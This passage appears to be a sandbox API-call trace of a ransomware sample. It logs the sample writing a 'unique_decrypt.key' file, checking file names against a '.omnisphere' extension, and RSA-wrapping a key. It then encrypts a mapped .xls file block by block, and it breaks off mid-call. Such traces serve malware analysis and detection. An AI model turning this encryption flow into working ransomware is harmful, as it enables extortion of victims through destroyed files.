GetProcessHeap () returned 0x1600000 [0063.479] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f780 [0063.479] PathCombineW (in: pszDest=0x163f780, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.479] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.480] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.480] CloseHandle (hObject=0x3a0) returned 1 [0063.480] GetProcessHeap () returned 0x1600000 [0063.480] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f780 | out: hHeap=0x1600000) returned 1 [0063.480] GetProcessHeap () returned 0x1600000 [0063.480] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fb00 | out: hHeap=0x1600000) returned 1 [0063.480] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f851310, ftCreationTime.dwHighDateTime=0x1d4cb64, ftLastAccessTime.dwLowDateTime=0x2da91600, ftLastAccessTime.dwHighDateTime=0x1d4d03f, ftLastWriteTime.dwLowDateTime=0x2da91600, ftLastWriteTime.dwHighDateTime=0x1d4d03f, nFileSizeHigh=0x0, nFileSizeLow=0x1066b, dwReserved0=0x0, dwReserved1=0xed, cFileName="JDQEwi6ArW.xls", cAlternateFileName="JDQEWI~1.XLS")) returned 1 [0063.480] GetProcessHeap () returned 0x1600000 [0063.480] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6c) returned 0x1649e70 [0063.481] PathCombineW (in: pszDest=0x1649e70, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="JDQEwi6ArW.xls" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\JDQEwi6ArW.xls") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\JDQEwi6ArW.xls" [0063.481] StrStrW (lpFirst=".omnisphere", lpSrch=".xls") returned 0x0 [0063.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JDQEwi6ArW.xls" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jdqewi6arw.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.481] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=67179) returned 1 [0063.481] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x10147, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.481] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.481] GetTickCount () returned 0x11502ea [0063.481] GetTickCount () returned 0x11502ea [0063.481] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.482] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.483] GetTickCount () returned 0x11502ea [0063.484] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163c630) returned 1 [0063.484] CryptImportKey (in: hProv=0x163c630, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639528) returned 1 [0063.484] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.485] CryptDestroyKey (hKey=0x1639528) returned 1 [0063.485] CryptReleaseContext (hProv=0x163c630, dwFlags=0x0) returned 1 [0063.485] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1066b, lpName=0x0) returned 0x3a4 [0063.485] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1066b) returned 0x3450000 [0063.486] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163b7d8) returned 1 [0063.487] CryptImportKey (in: hProv=0x163b7d8, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639628) returned 1 [0063.488] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.488] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.489] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.489] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.489] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.489] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.489] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.489] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.489] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.489] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.489] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.489] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.489] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.489] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.490] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.490] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.490] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.490] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.490] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.490] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.490] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.490] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.490] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.490] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.490] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.490] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.491] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.492] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, 